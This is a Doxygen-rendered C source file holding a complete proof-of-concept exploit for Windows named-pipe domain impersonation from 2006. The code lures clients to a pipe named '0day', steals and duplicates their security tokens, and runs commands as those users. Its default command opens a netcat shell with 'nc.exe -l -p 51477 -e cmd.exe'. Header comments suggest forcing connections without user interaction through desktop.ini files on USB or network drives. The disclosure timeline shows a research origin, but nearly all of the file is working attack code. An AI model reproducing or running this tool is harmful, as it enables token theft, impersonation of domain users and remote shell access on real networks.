C:/Web/namedpipes/Namedpipe.c

Go to the documentation of this file.
00001 //delegation con kerberos y NTLM - http://msdn.microsoft.com/msdnmag/issues/05/09/SecurityBriefs/
00002 //
00003 /*
00004 * Namedpipes - Domain Impersonation attacks -
00005 * ----------------------------------------------------------------------
00006 *
00007 * Proof of concept exploit v4.0
00008 * Author: Andres Tarasco Acuņa ( atarasco @ gmail.com )
00009 *
00010 *
00011 * Timeline:
00012 * ---------
00013 *
00014 * 05-10-2006 - Discovered
00015 * 05-15-2006 - Initial Proof of concept - Vendor Notified
00016 * 06-04-2006 - Microsoft Notified again with updated attack vectors
00017 * 06-13-2006 - Microsoft queried again about vulnerability status.
00018 * xx-xx-2006 -
00019 * xx-xx-2006 -
00020 * xx-xx-2006 - 
00021 * 09-30-2006 - Public Disclosure at NoConName 2006 (Mallorca NcN )
00022 * xx-xx-xx - new tool for generating payloads published at http://www.tarasco.org/payload/index.html
00023 *
00024 * Use -t flag with your favorite smbreplay tool =)
00025 * Use desktop.ini with usb/network drives to force network connections without user interaction :)
00026 *
00027 * * Compile: cl.exe /MD namedpipe.c
00028 */
00029 #define _CRT_SECURE_NO_DEPRECATE
00030 #include <io.h>
00031 #include <stdio.h>
00032 #include <sys/stat.h>
00033 #include <windows.h>
00034 #include <Lm.h>
00035 #include <process.h>
00036 
00037 #pragma comment(lib,"advapi32.lib")
00038 #pragma comment(lib,"Netapi32.lib")
00039 #define MAX_USERS 1000
00040 
00041 typedef struct _credenciales{
00042         HANDLE hToken2;
00043         char user[256];
00044         SYSTEMTIME SystemTime;
00045 } CREDENCIALES;
00046 
00047 
00048 BOOL           EnableDebugPriv(void);
00049 DWORD WINAPI   procesa(LPVOID lpvParam) ;
00050 DWORD WINAPI   ConsoleHandler(void *p);
00051 void __stdcall process_owner(HANDLE htoken, char *data,char *name);
00052 void           usage(void);
00053 void           banner(void);
00054 
00055 CREDENCIALES   credenciales[MAX_USERS];
00056 short          InUse=0;
00057 char           command[256]="nc.exe -l -p 51477 -e cmd.exe";
00058 char           namedpipe[256]="0day";
00059 int            PipeListen=1;
00060 
00061 /*********************************************************************************/
00062 int main(int argc, char **argv)
00063 {
00064 
00065         SECURITY_ATTRIBUTES sa; 
00066         DWORD cInstances,dwThreadId,read,i;
00067         HANDLE hToken, hPipe, hThread,desktop ;        
00068         char exploitcode[256];
00069         char szPipe[256]="\\\\.\\pipe\\0day";
00070         char username[256];
00071 
00072         unsigned char tmp[512];         
00073 
00074         banner();            
00075         // Parseamos parametros
00076         for(i=1;i<argc;i+=2) {
00077                 if ( (strlen(argv[i]) ==2) && (argv[i][0]=='-') ) {
00078                         switch (argv[i][1]) {
00079                  case 'e': case 'E':
00080                          strncpy(command,argv[i+1],sizeof(command)-1); break;            
00081                  case 'n': case 'N':         
00082                          strncpy(namedpipe,argv[i+1],sizeof(namedpipe)-1);
00083                          sprintf(szPipe,"\\\\.\\pipe\\%s",namedpipe); break;
00084                  case 'r':
00085                          PipeListen=0;
00086                          strcpy(namedpipe,argv[i+1]); break;
00087                          strcpy(szPipe,argv[i+1]); break;
00088                  default: usage(); return(-1);break;
00089                         }
00090                 } else { usage(); return(-1); }  
00091         }
00092 
00093 
00094         for(i=0;i<MAX_USERS;i++) memset((void *)&credenciales[i],'\0',sizeof(struct _credenciales));
00095         //Creando el manejador de teclado   
00096         hThread = CreateThread( NULL,0,ConsoleHandler,(LPVOID) &i,0,&dwThreadId);
00097 
00098 
00099         if (!PipeListen) return 0;
00100 
00101         while(1)  //Generando el fichero para el ataque =) 
00102         {
00103                 i=0;
00104                 printf("[+] Creating Named Pipe: %s\r",szPipe);
00105                 do //Reintentamos por si hay algun problema...
00106                 {
00107 
00108                         hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
00109                         if (hPipe == INVALID_HANDLE_VALUE) {
00110                                 printf ("[-] Failed to create named pipe:  %s  ( Retry %i/999)\r", szPipe,i++);
00111                                 if (i==999) exit(-1);
00112                                 Sleep(1000);
00113                         }
00114                 } while (hPipe == INVALID_HANDLE_VALUE);
00115 
00116 
00117                 printf("[+] Waiting for incoming connections against %s\n",szPipe);
00118                 fflush(stdout);
00119                 ConnectNamedPipe (hPipe, NULL);
00120 
00121                 // impersonate client
00122                 GetNamedPipeHandleState(hPipe,NULL,&cInstances,NULL,NULL,&username[0],sizeof(username));
00123                 //printf("[+] Impersonating User %s...\r",username);
00124                 printf("[+] Impersonating User %s...\n",username);
00125                 fflush(stdout);      
00126 
00127                 if (!ImpersonateNamedPipeClient (hPipe)) 
00128                 {
00129                         printf ("[-] Ooops! Failed to impersonate the named pipe. Error: %i\n",GetLastError());
00130                         CloseHandle(hPipe);
00131                 } else {
00132 
00133                         // obtain maximum rights with TOKEN_ALL_ACCESS
00134                         if ( OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken )==0)
00135                         {
00136                                 printf("[-] Error in OpenThreadToken - GetLastError: %u\n", GetLastError());
00137                                 DisconnectNamedPipe(hPipe);
00138                                 CloseHandle(hPipe);
00139                         } else 
00140                         {
00141                                 // obtain TOKEN_DUBLICATE privilege
00142                                 //ImpersonateSelf(SecurityImpersonation);              
00143                                 sa.nLength = sizeof (SECURITY_ATTRIBUTES);
00144                                 sa.lpSecurityDescriptor = NULL;
00145                                 sa.bInheritHandle = FALSE;
00146 
00147                                 if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,&sa,SecurityImpersonation, TokenPrimary, &credenciales[InUse].hToken2) == 0) 
00148                                 {
00149                                         printf("[-] Error in duplicatetokenex() - GetLastError: %u\n", GetLastError());
00150                                 } else 
00151                                 {
00152                                         memset(credenciales[InUse].user,'\0',sizeof(credenciales[InUse].user));
00153                                         process_owner(credenciales[InUse].hToken2,NULL,&credenciales[InUse].user[0]);              
00154                                         if (!ExisteUsuario(InUse))
00155                                         {
00156                                                 GetSystemTime(&credenciales[InUse].SystemTime);
00157                                                 printf("[+] Impersonating User %s                        \n",credenciales[InUse].user);
00158                                                 InUse++;
00159                                         }
00160                                         //reversing..
00161                                         printf("[+] Reversing to previous State...                                        \r");
00162                                         RevertToSelf();              
00163                                         ImpersonateSelf(SecurityImpersonation);              
00164                                         DisconnectNamedPipe(hPipe);
00165                                         CloseHandle(hPipe);
00166                                         fflush(stdout);              
00167                                 }
00168                         }
00169                 }
00170         }
00171         return 0;   
00172 }
00173 /***********************************************************************************/  
00174 void __stdcall process_owner(HANDLE htoken, char *data, char *name)
00175 {
00176         /*
00177         Extract information from a process Token and dumps owner information.
00178         */
00179         DWORD   dwLen;
00180         PSID    pSid=0; // contains the owning user SID
00181         TOKEN_USER *pWork;
00182         SID_NAME_USE    use=0;
00183         TCHAR username[256];
00184         TCHAR domainname[256];
00185 
00186         GetTokenInformation(htoken, TokenUser, NULL, 0, &dwLen);
00187         pWork= (TOKEN_USER *)LocalAlloc( LMEM_ZEROINIT,dwLen);
00188         if (GetTokenInformation(htoken, TokenUser, pWork, dwLen, &dwLen)) {
00189                 dwLen = GetLengthSid(pWork->User.Sid);
00190                 pSid= (PSID)LocalAlloc( LMEM_ZEROINIT,dwLen);
00191                 CopySid(dwLen, pSid, pWork->User.Sid);
00192                 dwLen=256;
00193                 LookupAccountSid(NULL, pSid, &username[0], &dwLen, &domainname[0], &dwLen, &use);
00194                 if (name!=NULL) 
00195                 {
00196                         sprintf(name,"%s\\%s",domainname,username);
00197                 }
00198                 else 
00199                 {
00200                         printf("%s: \\\\%s\\%s\n",data,domainname,username);
00201                 }
00202 
00203         } else{
00204                 printf("pof\n");
00205         }
00206 }
00207 
00208 /***********************************************************************************/
00209 DWORD WINAPI procesa(LPVOID lpvParam) {
00210         /*
00211         Thread with stolen user Tokens that is going to execute applications.
00212         */
00213 
00214         int i=(int)lpvParam;
00215         SECURITY_ATTRIBUTES sa;
00216         STARTUPINFO si;
00217         PROCESS_INFORMATION pi;
00218         char tmp[256];
00219 
00220         sprintf(tmp,"[Thread ID: %i] Thread Token Information",GetCurrentThreadId());
00221         process_owner(credenciales[i].hToken2,tmp,NULL);
00222 
00223         //intentando ejecutar con el Token2
00224         ZeroMemory( &si, sizeof(STARTUPINFO));
00225         sa.nLength = sizeof (SECURITY_ATTRIBUTES);
00226         sa.lpSecurityDescriptor = NULL;
00227         sa.bInheritHandle = FALSE;
00228 
00229         si.cb = sizeof(si);
00230         si.lpDesktop            = NULL;
00231         printf("[Thread ID: %i] Creating New Process %s\n", GetCurrentThreadId(),command);
00232         fflush(stdout);
00233 
00234         // create new process as user
00235         if(!CreateProcessAsUser(credenciales[i].hToken2,NULL, command, &sa, 
00236                 &sa,FALSE, 0,NULL,"c:\\",&si, &pi)) {
00237                         printf("[Thread ID: %i] CreateProcessAsUser Failed - GetLastError: %d\n",GetCurrentThreadId(), GetLastError());
00238         } else {
00239                 WaitForSingleObject(pi.hProcess,INFINITE);
00240         }
00241         _endthread();
00242         return(1);
00243 }
00244 /*********************************************************************************/
00245 DWORD WINAPI ConsoleHandler(void *p) {
00246 
00247         int iReadLenght;
00248         int TokenID;
00249         char ReadBuffer[256];
00250         HANDLE hThread;
00251         DWORD dwThreadId;
00252         short i;
00253 
00254         ImpersonateSelf(SecurityImpersonation);
00255         while(1) {
00256                 fflush(stdout);
00257                 memset(&ReadBuffer[0],'\0',sizeof(ReadBuffer));
00258                 scanf("%s",ReadBuffer);
00259                 fflush(stdout);
00260                 //iReadLenght = read (0, ReadBuffer, sizeof (ReadBuffer)-1);       
00261 
00262                 if (strstr(ReadBuffer,"SHOWTOKENS")!=NULL)
00263                 {
00264                         printf("---------------------------------------------------------------\n");
00265                         for(i=0;i<InUse;i++) 
00266                         {
00267                                 printf("#%4.4i\t%s",i,credenciales[i].user);
00268                                 printf(" %2.2i/%2.2i/%2.2i %2.2i:%2.2i:%2.2i \r\n",credenciales[i].SystemTime.wMonth,credenciales[i].SystemTime.wDay,credenciales[i].SystemTime.wYear,credenciales[i].SystemTime.wHour+2,credenciales[i].SystemTime.wMinute,credenciales[i].SystemTime.wSecond);             
00269                         }
00270                         printf("---------------------------------------------------------------\n");
00271                 } else 
00272                         if (strstr(ReadBuffer,"EXEC")!=NULL)
00273                         {
00274                                 dwThreadId=i;
00275                                 scanf("%i",&TokenID);
00276 
00277                                 //TokenID=atoi(ReadBuffer+5);
00278                                 printf("Ejecutando: %i\n",TokenID);
00279                                 fflush(stdout);
00280                                 hThread = CreateThread( 
00281                                         NULL,              // no security attribute 
00282                                         0,                 // default stack size 
00283                                         procesa,    // thread proc
00284                                         (LPVOID) TokenID,  // thread parameter 
00285                                         0,                 // not suspended 
00286                                         &dwThreadId);      // returns thread ID 
00287                                 if (hThread == NULL) 
00288                                 {
00289                                         printf("CreateThread failed"); 
00290                                 }
00291                                 else 
00292                                 {
00293                                         CloseHandle(hThread); 
00294                                 }
00295                         } else
00296                                 if (strstr(ReadBuffer,"EXIT")!=NULL)
00297                                 {
00298                                         for(i=0;i<InUse;i++) {
00299                                                 CloseHandle(credenciales[i].hToken2);
00300                                         }
00301                                         exit(1);
00302                                 } else
00303                                         if (strstr(ReadBuffer,"CMD ")!=NULL)
00304                                         {
00305                                                 strcpy(command,ReadBuffer+4);
00306                                                 if (strlen(command)>2) 
00307                                                 {
00308                                                         command[strlen(command)-2]='\0'; //remove \r\n
00309                                                         printf("[+] New command set to %s\n",command);
00310                                                 }
00311                                         } else
00312                                         {
00313                                                 printf("--------------------------------------------------------------\n");
00314                                                 printf("SHOWTOKENS      ( Dumps information of available Tokens       )\n");
00315                                                 printf("EXEC <number>   ( Execute a command with selected the token   )\n");
00316                                                 printf("CMD <parameter> ( Changes the default commando to be executed )\n");
00317                                                 printf("EXIT            ( Close all Handles and exit Process          )\n");
00318                                                 printf("---------------------------------------------------------------\n");
00319                                         }
00320         }    
00321 }
00322 /*********************************************************************************/
00323 BOOL ExisteUsuario(int InUse)
00324 {
00325         /* Verificamos que no exista ya el Token del usuario */
00326         int i;
00327         if (InUse>0){
00328                 for(i=0;i<InUse;i++){
00329                         if (strcmp(credenciales[InUse].user,credenciales[i].user)==0) return(1);         
00330                 }
00331         }
00332         return(0);
00333 }
00334 /******************************************************************************/
00335 void banner(void){
00336         printf(" Impersonation attack Proof of concept Exploit\n");
00337         printf(" Author: Andres Tarasco ( [email protected]_gmail_._com)\n");
00338         printf(" URL: http://www.tarasco.org/tools.html\n\n");
00339 }
00340 /******************************************************************************/
00341 
00342 void usage(void) {
00343 
00344         printf(" Usage: 1st is recomended to execute a shell with NT AUTHORITY\\SYSTEM privileges\n");
00345         printf(" Example: psexec.exe -i -s -c namedpipe.exe [parameters]\n\n");
00346         printf(" Parameters:\n");
00347         printf("  -e <command>\t\tApplication to execute, default is \"nc.exe -l -p 51477 -e cmd.exe\"\n");
00348         printf("  -n <namedpipe>   \tNamed of the pipe. Default is \"0day\" \n");
00349         printf("  -r <network share>\tFun with smbreplay \n");
00350         printf("\n\n");
00351 
00352 }
00353 /*********************************************************************************/
00354 
00355 
00356 
00357 

Generated on Sun Mar 25 14:08:54 2007 for Named pipes impersonation by  doxygen 1.5.4